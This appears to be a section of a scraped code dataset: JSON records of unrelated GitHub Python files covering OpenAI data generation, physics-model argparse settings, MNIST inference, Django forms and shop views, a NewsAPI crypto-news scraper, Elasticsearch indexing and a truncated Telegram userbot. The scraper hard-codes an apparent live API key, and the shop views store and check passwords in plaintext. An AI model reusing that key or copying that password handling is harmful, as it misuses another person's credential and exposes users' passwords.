]\r\n\r\n completion = openai.ChatCompletion.create(\r\n model=\"gpt-3.5-turbo\",\r\n messages=messages,\r\n max_tokens=1500,\r\n temperature=0.8,\r\n\r\n )\r\n # Prepare the response\r\n response = f\"{completion.choices[0].message['content']}\"\r\n\r\n # Output the response to a text file named after the topic and subtopic\r\n with open(f'output/{topic}_{subtopic}.txt', 'w', encoding='utf-8') as f:\r\n f.write(response)\r\n\r\n print(f\"Successful request for topic '{topic}' and subtopic '{subtopic}'. Writing to file.\")\r\n except Exception as e:\r\n print(f\"Exception occurred for topic '{topic}' and subtopic '{subtopic}'.\")\r\n task[\"exception\"] = e\r\n if retries > 0:\r\n print(f\"Retrying task for topic '{topic}' and subtopic '{subtopic}', retries left: {retries-1}\")\r\n task[\"retries\"] = retries - 1\r\n make_request(task)\r\n\r\ntask_id_counter = 0 # Global counter for task IDs\r\n\r\ndef text_to_json(dir_path, output_file):\r\n files_list = os.listdir(dir_path)\r\n text_files_list = [file for file in files_list if file.endswith('.txt')]\r\n\r\n all_conversations = []\r\n id_counter = 1\r\n\r\n for text_file in text_files_list:\r\n file_path = os.path.join(dir_path, text_file)\r\n try:\r\n with open(file_path, 'r', encoding='utf-8') as f:\r\n content = f.read()\r\n json_content = json.loads(content)\r\n json_content[\"id\"] = str(id_counter) # renumbering the id\r\n all_conversations.append(json_content)\r\n id_counter += 1\r\n except json.JSONDecodeError:\r\n print(f\"Error decoding JSON for file: {text_file}. Deleting the file.\")\r\n os.remove(file_path) # Deletes the file\r\n\r\n with open(output_file, 'w', encoding='utf-8') as f:\r\n json.dump(all_conversations, f, indent=4)\r\n\r\ndef main():\r\n generate_text_files()\r\n dir_path = 'output/'\r\n output_file = 'combined-convo.json'\r\n text_to_json(dir_path, output_file)\r\n\r\n # Check if all files are in the output\r\n if not os.path.isfile(output_file):\r\n print(f\"Output file {output_file} does not exist.\")\r\n else:\r\n print(f\"Output file {output_file} is successfully written.\")\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"atlasunified/atlas-converse","sub_path":"atlas_converse.py","file_name":"atlas_converse.py","file_ext":"py","file_size_in_byte":5544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"76"} +{"seq_id":"33761761558","text":"import argparse\nfrom email.policy import default\nimport numpy as np\nimport torch\n\n\ndef get_bool(arg: argparse.Namespace) -> bool:\n \"\"\"Parse boolean from input string.\n Adapted from https://stackoverflow.com/questions/15008758/parsing-boolean-values-with-argparse\n \"\"\"\n if isinstance(arg, bool):\n return arg\n if arg.lower() in (\"true\", \"t\", \"1\"):\n return True\n elif arg.lower() in (\"false\", \"f\", \"0\"):\n return False\n else:\n raise argparse.ArgumentTypeError(\n \"Boolean value expected. \"\n \"Options: For True, anything in ('true', 't', '1') can be used. \"\n \"For False, anything in ('false', 'f', '0') can be used. \"\n \"Cases are ignored.\"\n )\n\n\ndef get_device(arg: argparse.Namespace) -> torch.dtype:\n \"\"\"Parse torch.device from input string\"\"\"\n if arg is None:\n return torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n if arg.lower() == \"cpu\":\n device = torch.device(\"cpu\")\n else:\n device = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n return device\n\n\ndef get_dtype(arg: argparse.Namespace) -> torch.dtype:\n \"\"\"Parse torch.dtype from input string\"\"\"\n if arg is None:\n return torch.float64\n\n if arg.lower() == \"float\":\n dtype = torch.float\n elif arg.lower() == \"double\":\n dtype = torch.double\n else:\n dtype = torch.float64\n return dtype\n\n\ndef parse_model_settings(parser: argparse.ArgumentParser) -> argparse.ArgumentParser:\n parser.add_argument(\n \"--num-jet-particles\",\n type=int,\n default=30,\n metavar=\"\",\n help=\"Number of particles per jet (batch) in the input. Default: 30 for the JetNet data.\",\n )\n parser.add_argument(\n \"--tau-jet-scalars\",\n type=int,\n default=1,\n metavar=\"\",\n help=\"Multiplicity of scalars per particle in a jet. Default: 1 for the JetNet data.\",\n )\n parser.add_argument(\n \"--tau-jet-vectors\",\n type=int,\n default=1,\n metavar=\"\",\n help=\"Multiplicity of 4-vectors per particle in the jet. Default: 1 for the JetNet data.\",\n )\n\n parser.add_argument(\n \"--map-to-latent\",\n type=str,\n default=\"min&max\",\n metavar=\"\",\n help=\"The method to map to latent space. \"\n \"Choice: ('sum', 'mix', 'mean', 'min', 'max') \"\n \"or any combinations with '+' (for addition) or '&' (for concatenation).\",\n )\n parser.add_argument(\n \"--tau-latent-scalars\",\n type=int,\n default=1,\n metavar=\"\",\n help=\"Multiplicity of scalars per particle in the latent space.\",\n )\n parser.add_argument(\n \"--tau-latent-vectors\",\n type=int,\n default=1,\n metavar=\"\",\n help=\"Multiplicity of 4-vectors per particle the latent space.\",\n )\n parser.add_argument(\n \"--jet-features\",\n default=False,\n action=\"store_true\",\n help=\"Include jet momentum as an additional vector and jet invariant mass as an additional scalar to the input.\",\n )\n\n parser.add_argument(\n \"--encoder-num-channels\",\n nargs=\"+\",\n type=int,\n default=[3, 3, 4, 4],\n metavar=\"\",\n help=\"Number of channels (multiplicity of all irreps) in each CG layer in the encoder.\",\n )\n parser.add_argument(\n \"--decoder-num-channels\",\n nargs=\"+\",\n type=int,\n default=[4, 4, 3, 3],\n metavar=\"\",\n help=\"Number of channels (multiplicity of all irreps) in each CG layer in the decoder.\",\n )\n\n parser.add_argument(\n \"--maxdim\",\n nargs=\"+\",\n type=int,\n default=[2],\n metavar=\"\",\n help=\"Maximum weights in the model (exclusive).\",\n )\n parser.add_argument(\n \"--num-basis-fn\",\n type=int,\n default=10,\n metavar=\"\",\n help=\"Number of basis function to express edge features.\",\n )\n\n parser.add_argument(\n \"--weight-init\",\n type=str,\n default=\"randn\",\n metavar=\"\",\n help=\"Weight initialization distribution to use. Options: ['randn', 'rand']. Default: 'randn'.\",\n )\n parser.add_argument(\n \"--level-gain\",\n nargs=\"+\",\n type=float,\n default=[1.0],\n metavar=\"\",\n help=\"Gain at each level. Default: [1.].\",\n )\n parser.add_argument(\n \"--activation\",\n type=str,\n default=\"leakyrelu\",\n metavar=\"\",\n help=\"Activation function used in MLP layers. Options: ['relu', 'elu', 'leakyrelu', 'sigmoid', 'logsigmoid'].\",\n )\n parser.add_argument(\n \"--mlp\",\n type=get_bool,\n default=True,\n help=\"Whether to insert a perceptron acting on invariant scalars inside each CG level.\",\n )\n parser.add_argument(\n \"--mlp-depth\",\n type=int,\n default=6,\n metavar=\"N\",\n help=\"Number of hidden layers in each MLP layer.\",\n )\n parser.add_argument(\n \"--mlp-width\",\n type=int,\n default=6,\n metavar=\"N\",\n help=\"Width of hidden layers in each MLP layer in units of the number of inputs.\",\n )\n return parser\n\n\ndef parse_plot_settings(parser: argparse.ArgumentParser) -> argparse.ArgumentParser:\n parser.add_argument(\n \"--plot-freq\",\n type=int,\n default=10,\n metavar=\"\",\n help=\"How frequent to plot. Used when --loss-choice is not EMD. Default: 10.\",\n )\n parser.add_argument(\n \"--plot-start-epoch\",\n type=int,\n default=50,\n metavar=\"\",\n help=\"The epoch to start plotting. Default: 50.\",\n )\n parser.add_argument(\n \"--cutoff\",\n type=float,\n default=1e-7,\n metavar=\"\",\n help=\"Cutoff value of (3-)momenta magnitude to be included in the historgram. Default: 1e-7.\",\n )\n parser.add_argument(\n \"--fill\",\n default=False,\n action=\"store_true\",\n help=\"Whether to plot filled histograms as well. True only if called in the command line.\",\n )\n\n parser.add_argument(\n \"--jet-image-npix\",\n type=int,\n default=40,\n help=\"The number of pixels for the jet image\",\n )\n parser.add_argument(\n \"--jet-image-maxR\", type=float, default=0.5, help=\"The maxR of the jet image\"\n )\n parser.add_argument(\n \"--jet-image-vmin\", type=float, default=1e-10, help=\"vmin for LogNorm\"\n )\n parser.add_argument(\n \"--num-jet-images\",\n type=int,\n default=15,\n help=\"Number of one-to-one jet images to plot.\",\n )\n\n _parse_particle_recons_err_settings(parser)\n _parse_jet_recons_err_settings(parser)\n\n return parser\n\n\ndef _parse_particle_recons_err_settings(\n parser: argparse.ArgumentParser,\n) -> argparse.ArgumentParser:\n parser.add_argument(\n \"--custom-particle-recons-ranges\",\n default=False,\n action=\"store_true\",\n help=\"Whether to manually set the ranges of particle reconstruction errors when plotting the histograms. \"\n \"Call --custom-particle-recons-ranges to set true.\",\n )\n parser.add_argument(\n \"--particle-rel-err-min-cartesian\",\n nargs=\"+\",\n type=float,\n default=[-1, -1, -1],\n metavar=\"\",\n help=\"xmin of histogram for particle reconstruction relative errors in Cartesian coordinates.\",\n )\n parser.add_argument(\n \"--particle-rel-err-max-cartesian\",\n nargs=\"+\",\n type=float,\n default=[1, 1, 1],\n metavar=\"\",\n help=\"xmax of histogram for particle reconstruction relative errors in Cartesian coordinates.\",\n )\n parser.add_argument(\n \"--particle-padded-recons-min-cartesian\",\n nargs=\"+\",\n type=float,\n default=[-100, -100, -100],\n metavar=\"\",\n help=\"xmin of histogram for reconstructed padded particless in Cartesian coordinates.\",\n )\n parser.add_argument(\n \"--particle-padded-recons-max-cartesian\",\n nargs=\"+\",\n type=float,\n default=[100, 100, 100],\n metavar=\"\",\n help=\"xmax of histogram for reconstructed padded particless in Cartesian coordinates.\",\n )\n\n parser.add_argument(\n \"--particle-rel-err-min-polar\",\n nargs=\"+\",\n type=float,\n default=[-1, -1, -1],\n metavar=\"\",\n help=\"xmin of histogram for particle reconstruction relative errors in polar coordinates (pt, eta, phi).\",\n )\n parser.add_argument(\n \"--particle-rel-err-max-polar\",\n nargs=\"+\",\n type=float,\n default=[1, 1, 1],\n metavar=\"\",\n help=\"xmax of histogram for particle reconstruction relative errors in polar coordinates (pt, eta, phi).\",\n )\n parser.add_argument(\n \"--particle-padded-recons-min-polar\",\n nargs=\"+\",\n type=float,\n default=[-100, -1, -np.pi],\n metavar=\"\",\n help=\"xmin of histogram for reconstructed padded particless in polar coordinates (pt, eta, phi).\",\n )\n parser.add_argument(\n \"--particle-padded-recons-max-polar\",\n nargs=\"+\",\n type=float,\n default=[100, 1, np.pi],\n metavar=\"\",\n help=\"xmax of histogram for reconstructed padded particless in polar coordinates.\",\n )\n return parser\n\n\ndef _parse_jet_recons_err_settings(\n parser: argparse.ArgumentParser,\n) -> argparse.ArgumentParser:\n parser.add_argument(\n \"--custom-jet-recons-ranges\",\n default=False,\n action=\"store_true\",\n help=\"Whether to manually set the ranges of jet reconstruction errors when plotting the histograms. \"\n \"Call --custom-jet-recons-ranges to set true.\",\n )\n parser.add_argument(\n \"--jet-rel-err-min-cartesian\",\n nargs=\"+\",\n type=float,\n default=[-1, -1, -1, -1],\n metavar=\"\",\n help=\"xmin of histogram for jet reconstruction relative errors in Cartesian coordinates.\",\n )\n parser.add_argument(\n \"--jet-rel-err-max-cartesian\",\n nargs=\"+\",\n type=float,\n default=[1, 1, 1, 1],\n metavar=\"\",\n help=\"xmax of histogram for jet reconstruction relative errors in Cartesian coordinates.\",\n )\n parser.add_argument(\n \"--jet-rel-err-min-polar\",\n nargs=\"+\",\n type=float,\n default=[-1, -1, -1, -1],\n metavar=\"\",\n help=\"xmin of histogram for jet reconstruction relative errors in polar coordinates (pt, eta, phi).\",\n )\n parser.add_argument(\n \"--jet-rel-err-max-polar\",\n nargs=\"+\",\n type=float,\n default=[1, 1, 1, 1],\n metavar=\"\",\n help=\"xmax of histogram for jet reconstruction relative errors in polar coordinates (pt, eta, phi).\",\n )\n return parser\n\n\ndef parse_covariance_test_settings(\n parser: argparse.ArgumentParser,\n) -> argparse.ArgumentParser:\n parser.add_argument(\n \"--equivariance-test\",\n default=False,\n action=\"store_true\",\n help=\"Whether to take the equivariance test after all trainings on the last model. True only when it is called.\"\n \"Default: False.\",\n )\n parser.add_argument(\n \"--test-device\",\n type=get_device,\n default=torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\"),\n metavar=\"\",\n help=\"Device to for testing. Options: ('gpu', 'cpu', 'cuda', '-1').\"\n \"Default: -1, which means deciding device based on whether gpu is available.\",\n )\n parser.add_argument(\n \"--alpha-max\",\n type=float,\n default=10.0,\n metavar=\"\",\n help=\"The maximum alpha value of equivariance test, where gamma = cosh(alpha).\"\n \"Default: 10., at which gamma = 11013.2.\",\n )\n parser.add_argument(\n \"--theta-max\",\n type=float,\n default=2 * np.pi,\n metavar=\"\",\n help=\"The maximum theta value of equivariance test.\" \"Default: 2 pi.\",\n )\n return parser\n\n\ndef parse_data_settings(\n parser: argparse.ArgumentParser, training: bool = True\n) -> argparse.ArgumentParser:\n parser.add_argument(\n \"-j\",\n \"--jet-type\",\n type=str,\n required=True,\n metavar=\"\",\n help=\"The jet type to train. Options: ('g', 'q', 't', 'w', 'z', 'QCD').\",\n )\n parser.add_argument(\n \"--data-paths\",\n nargs=\"+\",\n type=str,\n default=[\"./data/g_jets_30p_p4.pt\", \"./data/q_jets_30p_p4.pt\"],\n metavar=\"\",\n help=\"The paths of the training data.\",\n )\n parser.add_argument(\n \"--train-set-portion\",\n type=float,\n default=-1,\n metavar=\"\",\n help=\"The portion of the training-validation set to be used as training set. \"\n \"Default: -1, which means using all the data as training set.\"\n \"If in the range (0, 1], it will be used as the portion of the training set. \"\n \"If in the range (1, infinity), it will be used as the number of events in the training set. \",\n )\n parser.add_argument(\n \"--test-data-paths\",\n nargs=\"+\",\n type=str,\n default=[\"./data/g_jets_30p_p4_test.pt\", \"./data/q_jets_30p_p4_test.pt\"],\n metavar=\"\",\n help=\"The paths of the test data.\",\n )\n parser.add_argument(\n \"--unit\",\n type=str,\n default=\"TeV\",\n help=\"The unit of momenta. Choices: ('GeV', 'TeV'). Default: TeV. \",\n )\n parser.add_argument(\n \"-tbs\",\n \"--test-batch-size\",\n type=int,\n default=4,\n metavar=\"\",\n help=\"The batch size for equivariance test.\",\n )\n parser.add_argument(\n \"--abs-coord\",\n type=get_bool,\n default=True,\n metavar=\"\",\n help=\"Whether the data is in absolute coordinates. False when relative coordinates are used.\",\n )\n parser.add_argument(\n \"--polar-coord\",\n type=get_bool,\n default=False,\n metavar=\"\",\n help=\"Whether the data is in polar coordinates (pt, eta, phi). False when Cartesian coordinates are used.\",\n )\n parser.add_argument(\n \"--normalize\",\n type=get_bool,\n default=True,\n metavar=\"\",\n help=\"Whether to normalize the features before passing into the NN.\",\n )\n parser.add_argument(\n \"--normalize-method\",\n type=str,\n default=\"overall_max\",\n metavar=\"\",\n help='Method to normalize the features. Choices: (\"overall_max\", \"component_max\", \"jet_E\"). Default: \"overall_max\". '\n \"overall_max: normalize by the overall maximum of all features within a jet. \"\n \"component_max: normalize each component by its maximum (absolute value) within a jet. \"\n \"jet_E: normalize each component by the jet energy.\",\n )\n parser.add_argument(\n \"--scale\",\n type=float,\n default=1.0,\n metavar=\"\",\n help=\"The rescaling factor of the input 4-momenta. Default: 1.\",\n )\n parser.add_argument(\n \"--num-test-batch\",\n type=int,\n default=-1,\n metavar=\"\",\n help=\"The number of batches used for equivariance test. For full test set, use -1.\",\n )\n\n if training:\n parser.add_argument(\n \"--train-fraction\",\n type=float,\n default=0.8,\n help=\"The fraction (or number) of data used for training.\",\n )\n parser.add_argument(\n \"--num-valid\",\n type=int,\n default=None,\n help=\"The number of data used for validation. Used only if train-fraction is greater than 1.\"\n \"Useful for test runs.\",\n )\n\n return parser\n","repo_name":"zichunhao/lgn-autoencoder","sub_path":"utils/argparse_utils.py","file_name":"argparse_utils.py","file_ext":"py","file_size_in_byte":15644,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"76"} +{"seq_id":"15948826349","text":"#!/usr/bin/env python\n\n\n# Select Theano as backend for Keras\nfrom os import environ\nenviron['KERAS_BACKEND'] = 'theano'\n\n# Set architecture of system (AVX instruction set is not supported on SWAN)\nenviron['THEANO_FLAGS'] = 'gcc.cxxflags=-march=corei7'\n\n\nfrom keras.models import load_model\nfrom keras import backend\nbackend.set_image_dim_ordering('tf')\nimport numpy as np\nimport sys\n\ntry:\n import png\nexcept:\n raise Exception('Have you installed pypng with `pip install --user pypng`?')\n\nif __name__ == '__main__':\n # Load trained keras model\n model = load_model('mnist_example.h5')\n\n # Get image names from arguments\n filename_images = []\n for arg in sys.argv[1:]:\n filename_images.append(arg)\n\n # Load images from files\n images = np.zeros((len(filename_images), 28, 28, 1))\n for i_file, file_ in enumerate(filename_images):\n pngdata = png.Reader(open(file_, 'rb')).asDirect()\n for i_row, row in enumerate(pngdata[2]):\n images[i_file, i_row, :, 0] = row\n\n # Predict labels for images\n labels = model.predict(images)\n\n numbers = np.argmax(labels, axis=1)\n print('Predict labels for images:')\n for file_, number in zip(filename_images, numbers):\n print(' {} : {}'.format(file_, number))\n","repo_name":"stwunsch/iml_keras_workshop","sub_path":"example_keras/mnist_apply.py","file_name":"mnist_apply.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"76"} +{"seq_id":"6143394297","text":"from pyforms.basewidget import no_columns, segment\nfrom pyforms_web.widgets.django import ModelFormWidget\nfrom pyforms_web.widgets.django import ModelViewFormWidget\nfrom pyforms_web.web.middleware import PyFormsMiddleware\nfrom pyforms.controls import ControlButton\nfrom pyforms.controls import ControlDateTime\nfrom resources.models import AccessRequest\nfrom confapp import conf\n\nclass AccessRequestFormWidget(ModelFormWidget):\n\n TITLE = \"Access request\"\n MODEL = AccessRequest\n\n LAYOUT_POSITION = conf.ORQUESTRA_NEW_TAB\n\n READ_ONLY = ['resource', 'requested_by', 'requested_on', 'reason', 'closed_by', 'closed_on']\n\n FIELDSETS = [\n no_columns('resource', 'requested_by', 'requested_on'),\n 'reason',\n 'comment',\n no_columns('_until', '_acceptbtn', '_rejectbtn', 'closed_by', 'closed_on')\n ]\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self.resource.field_css='eleven wide'\n\n self._until = ControlDateTime('Access until', visible=False)\n self._acceptbtn = ControlButton('Accept', default=self.__accept_evt, css='basic green', visible=False)\n self._rejectbtn = ControlButton('Reject', default=self.__reject_evt, css='red', visible=False)\n\n req = self.model_object\n if req.is_approved() is None:\n self._acceptbtn.show()\n self._rejectbtn.show()\n self._until.show()\n self.closed_by.hide()\n self.closed_on.hide()\n else:\n self._until.hide()\n self.closed_by.show()\n self.closed_on.show()\n self.comment.readonly = True\n\n def has_remove_permissions(self):\n return False\n\n def has_add_permissions(self):\n return False\n\n def has_update_permissions(self):\n return False\n\n def __open_access_evt(self):\n pass\n\n def __accept_evt(self):\n req = self.model_object\n req.comment = self.comment.value\n req.accept(\n PyFormsMiddleware.user(),\n until=self._until.value,\n comment=self.comment.value\n )\n self._acceptbtn.hide()\n self._rejectbtn.hide()\n self._until.hide()\n self.success('The access request was accepted successfully.')\n self.closed_by.show()\n self.closed_on.show()\n self.closed_by.value = str(req.closed_by)\n self.closed_on.value = req.closed_on\n self.comment.readonly = True\n\n def __reject_evt(self):\n req = self.model_object\n req.comment = self.comment.value\n req.reject(\n PyFormsMiddleware.user(),\n comment=self.comment.value\n )\n\n self._acceptbtn.hide()\n self._rejectbtn.hide()\n self._until.hide()\n\n self.alert('The access request was rejected!')\n self.closed_by.show()\n self.closed_on.show()\n self.closed_by.value = str(req.closed_by)\n self.closed_on.value = req.closed_on\n self.comment.readonly = True\n\n @property\n def title(self):\n obj = self.model_object\n if obj is None:\n return ModelFormWidget.title.fget(self)\n else:\n return str(obj)\n\n @title.setter\n def title(self, value):\n ModelFormWidget.title.fset(self, value)","repo_name":"fchampalimaud/core-resources","sub_path":"resources/apps/resources/requests/form.py","file_name":"form.py","file_ext":"py","file_size_in_byte":3297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"11637046876","text":"#pip install newsapi-python\n\nimport pandas as pd\nfrom newsapi import NewsApiClient\n\n# https://newsapi.org/docs/endpoints/everything\n\nnewsapi = NewsApiClient(api_key='188722aa04164b9aac4b7c781331350e')\n\n# filling in parameters to our needs (AND (crime OR attack OR criminals OR rug pull OR honeypot or ransomware or scam))\n\nqueries=['+crypto','crypto scam','cryptocurrency scam','crypto attack','cryptocurrency attack', 'rug pull', 'crypto honeypot']\narticles=[]\nfor i in queries:\n news_data_raw=newsapi.get_everything(q=i,\n domains='coinmarketcap.com, dailycoin.com, reuters.com, theverge.com, wired.com, techcrunch.com,bbc.com,nbcnews.com,news.yahoo.com,businessinsider.com,foxnews.com',\n page=1,page_size=100,\n to='2022-09-25',\n language='en',sort_by='relevancy')\n\n #extracting relevant raw json data\n\n articles_raw=news_data_raw['articles']\n\n # Appending articles to empty list\n\n for article in articles_raw:\n articles.append(article)\n\n#converting and exporting json raw data to pandas df\n\ndf_raw=pd.DataFrame(articles)\nprint(\"Dataframe shape is \", df_raw.shape)\ndf_raw.to_csv('../../data/Raw Data/Python_News_API/NewsApi_raw.csv')","repo_name":"anly501/anly-501-project-TegveerG","sub_path":"codes/Data_Gathering/NEWSAPI_gathering.py","file_name":"NEWSAPI_gathering.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"19305548302","text":"\"\"\"\n * Author - Indrajeet\n * Date - 04-06-2021\n * Time - 12:50 PM\n * Title - Calculate the wind chill using given formula\n\"\"\"\n\ndef windcill(t, v):\n\n if t > 50 or v > 120 or v < 30:\n if t > 50:\n return f\"formula is not valid for {t} it must be greater than {t}\"\n else:\n return f\"formula is not valid for {v} it must be greater than {v} \"\n return round((35.74 + 0.6215 * t + (0.4275 * t - 35.75) * (v ** 0.16)), 3)\n\n\nt, v = map(int, input(\"Enter value of t and v: \").split(\",\"))\nprint(windcill(t, v))\n","repo_name":"Indra2311/BasicPythonProgram","sub_path":"windChill.py","file_name":"windChill.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"12641250696","text":"import gc\nimport datetime\n\nfrom django.apps import apps\nfrom django.conf import settings\nfrom django.db import models\nfrom django.db.models import signals\nfrom django.db.models.fields import related\nfrom django.db.models.fields import reverse_related\nimport elasticsearch8\n\nfrom tulius.core.elastic import indexing\n\n\ndef index_name(model):\n s = f\"{model._meta.app_label}_{model._meta.object_name}\"\n return f\"{settings.ELASTIC_PREFIX}_{s}\".lower()\n\n\nignore_field_types = (\n related.RelatedField,\n reverse_related.ForeignObjectRel,\n models.AutoField,\n models.FileField,\n)\n\n\ndef instance_to_document(instance):\n data = {}\n for field in instance.__class__._meta.get_fields(include_hidden=True):\n if not isinstance(field, ignore_field_types):\n value = getattr(instance, field.name)\n if isinstance(value, datetime.date):\n value = value.isoformat()\n data[field.column] = value\n if hasattr(instance, 'to_elastic_search'):\n instance.to_elastic_search(data)\n return data\n\n\ndef do_index(instance, **_kwargs):\n doc = instance_to_document(instance)\n doc['_action'] = 'index'\n doc['_id'] = instance.pk\n doc['_index'] = index_name(instance.__class__)\n indexing.get_indexer().index(doc)\n\n\ndef do_direct_index(instance, **_kwargs):\n \"\"\" For testing, to be sure that data visible to search immediately \"\"\"\n # pylint: disable=unexpected-keyword-arg\n client.index(\n id=instance.pk, index=index_name(instance.__class__),\n document=instance_to_document(instance), refresh='true')\n\n\nclient = elasticsearch8.Elasticsearch(hosts=settings.ELASTIC_HOSTS)\n\n\ndef queryset_iterator(queryset, chunk_size=1000):\n \"\"\"\n Iterate over a Django Queryset ordered by the primary key\n\n This method loads a maximum of chunk_size (default: 1000) rows in it's\n memory at the same time while django normally would load all rows in it's\n memory. Using the iterator() method only causes it to not preload all the\n classes.\n\n Note that the implementation of the iterator does not support ordered\n query sets.\n \"\"\"\n pk = 0\n last_pk = queryset.order_by('-pk')[0].pk\n queryset = queryset.order_by('pk')\n while pk < last_pk:\n for row in queryset.filter(pk__gt=pk)[:chunk_size]:\n pk = row.pk\n yield row\n gc.collect()\n\n\nclass ReindexQuery:\n chunk_size = 1000\n counter_chunk = 1000\n bulk_size = 50\n\n def progress(self, counter, all_count):\n pass\n\n @staticmethod\n def bulk_index(data):\n response = client.bulk(operations=data)\n if response['errors']:\n raise ValueError('errors occurred during request')\n\n def __call__(self, query):\n counter = 0\n bulk = []\n all_count = query.count()\n self.progress(counter, all_count)\n if not all_count:\n return\n for instance in queryset_iterator(query, chunk_size=self.chunk_size):\n bulk.append({\n 'index': {\n '_index': index_name(instance.__class__),\n '_id': instance.pk\n }\n })\n bulk.append(instance_to_document(instance))\n if len(bulk) >= self.bulk_size * 2:\n self.bulk_index(bulk)\n bulk = []\n counter += 1\n if counter % self.counter_chunk == 0:\n gc.collect()\n self.progress(counter, all_count)\n if bulk:\n self.bulk_index(bulk)\n self.progress(counter, all_count)\n\n\ndef init():\n for app_name, model_name in settings.ELASTIC_MODELS:\n model = apps.get_model(app_name, model_name)\n signals.post_save.connect(do_index, sender=model, weak=False)\n","repo_name":"kozzztik/tulius","sub_path":"tulius/forum/elastic_search/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3768,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"76"} +{"seq_id":"9692878958","text":"from __future__ import unicode_literals\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom django.template import loader\nfrom .models import Shopper_database\nfrom .forms import *\n# Create your views here.\n\nusername = \"\"\ncheckout_items = {}\n\n\ndef openSignIn(request):\n template = loader.get_template('sign_in.html')\n global username\n context = {}\n if request.method == 'POST':\n\n form = SignInForm(request.POST)\n global username_checker\n\n username_checker = form['username'].value()\n password_checker = form['password'].value()\n\n username_checker_object = Shopper_database.objects.get(username=username_checker)\n password_from_db = username_checker_object.password\n\n if password_from_db == password_checker:\n template = loader.get_template('home.html')\n context = {'username': username_checker}\n else:\n template = loader.get_template('sign_in.html')\n context = {}\n\n return HttpResponse(template.render(context, request))\n\n\ndef openSignUp(request):\n if request.method == 'POST':\n form = SignUpForm(request.POST)\n Shopper_db = Shopper_database(username=form['username'].value(),\n password=form['password'].value(),\n email=form['email'].value())\n Shopper_db.save()\n template = loader.get_template('sign_in.html')\n context = {}\n else:\n template = loader.get_template('sign_up.html')\n context = {}\n return HttpResponse(template.render(context, request))\n\n\ndef openHome(request):\n template = loader.get_template('home.html')\n context = {'username': username_checker}\n return HttpResponse(template.render(context, request))\n\n\ndef openSeedPackHome(request):\n # global checkout_items\n # form = PackAForm(request.POST)\n\n # if request.method == 'POST':\n #\n # form = PackAForm(request.POST)\n # print(form['packA_tb'].value())\n # print(form['packB_tb'].value())\n # print(form['packC_tb'].value())\n # print(form['QtyA'].value())\n #\n # #a = form['QtyA'].value()\n # b = form['QtyA'].value()\n # if (form['packA_tb'].value() != None):\n # checkout_items.update(map(form['packA_tb'].value(), form['QtyA'].value()))\n #\n # print(b)\n #\n # context = {'username': username_checker}\n #\n # template = loader.get_template('seed_pack_home.html')\n # else:\n # context = {'username': username_checker}\n # template = loader.get_template('seed_pack_home.html')\n # print(checkout_items)\n context = {'username': username_checker}\n template = loader.get_template('seed_pack_home.html')\n return HttpResponse(template.render(context, request))\n\n\ndef openSeedPackGarden(request):\n context = {'username': username_checker}\n template = loader.get_template('seed_pack_garden.html')\n return HttpResponse(template.render(context, request))\n\n\ndef openPots(request):\n context = {'username': username_checker}\n template = loader.get_template('pots.html')\n return HttpResponse(template.render(context, request))\n\n\ndef openAboutUs(request):\n context = {'username': username_checker}\n template = loader.get_template('about_us.html')\n return HttpResponse(template.render(context, request))\n\n\ndef openCheckout(request):\n template = loader.get_template('checkout.html')\n context = {'username': username_checker, 'checkout_items':checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openHomeSeedABuy(request):\n template = loader.get_template('a_home_seed.html')\n context = {'username': username_checker, 'checkout_items':checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openHomeSeedBBuy(request):\n template = loader.get_template('b_home_seed.html')\n context = {'username': username_checker, 'checkout_items':checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openHomeSeedCBuy(request):\n template = loader.get_template('c_home_seed.html')\n context = {'username': username_checker, 'checkout_items':checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openGardenSeedABuy(request):\n template = loader.get_template('a_garden_seed.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openGardenSeedBBuy(request):\n template = loader.get_template('b_garden_seed.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openGardenSeedCBuy(request):\n template = loader.get_template('c_garden_seed.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openPotABuy(request):\n template = loader.get_template('pot_a_buy.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openPotBBuy(request):\n template = loader.get_template('pot_b_buy.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n\n\ndef openPotCBuy(request):\n template = loader.get_template('pot_c_buy.html')\n context = {'username': username_checker, 'checkout_items': checkout_items}\n return HttpResponse(template.render(context, request))\n","repo_name":"ullassrivastava/ShoppersGuild","sub_path":"Browser/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5631,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"76"} +{"seq_id":"70148044406","text":"# coded by Y4sperMaglot\r\n\r\nfrom telethon.tl.functions.account import UpdateProfileRequest\r\nfrom telethon import events, functions\r\nfrom asyncio import sleep\r\nfrom .. import loader, utils\r\n\r\n@loader.tds\r\nclass SexMod(loader.Module):\r\n \"\"\"\"\"\"\r\n strings = {'name': 'Гениальное - просто'}\r\n\r\n async def 